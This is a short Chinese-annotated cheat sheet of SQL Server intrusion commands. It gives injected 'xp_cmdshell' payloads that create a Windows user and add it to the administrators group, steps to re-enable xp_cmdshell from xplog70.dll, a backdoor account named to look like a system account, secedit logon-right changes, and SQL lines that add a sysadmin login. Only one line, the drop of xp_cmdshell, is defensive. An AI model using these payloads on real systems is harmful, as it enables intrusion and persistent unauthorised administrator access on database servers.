;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok

恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok

否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:/winnt/system32/xplog70.dll'

堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell"

dos:
dir c:/
dir d:/
dir e:/

net user tsinternetusers password /add
net localgroup administrators tsinternetusers /add

备份恢复ipsec

secedit /export /cfg c:/tmp.inf
echo sedenynetworklogonright =>>c:/tmp.inf
secedit /configure /db c:/windows/secedit.sdb /cfg c:/tmp.inf

sql:
exec master..sp_addlogin username,password
exec master..sp_addsrvrolemember username,sysadmin
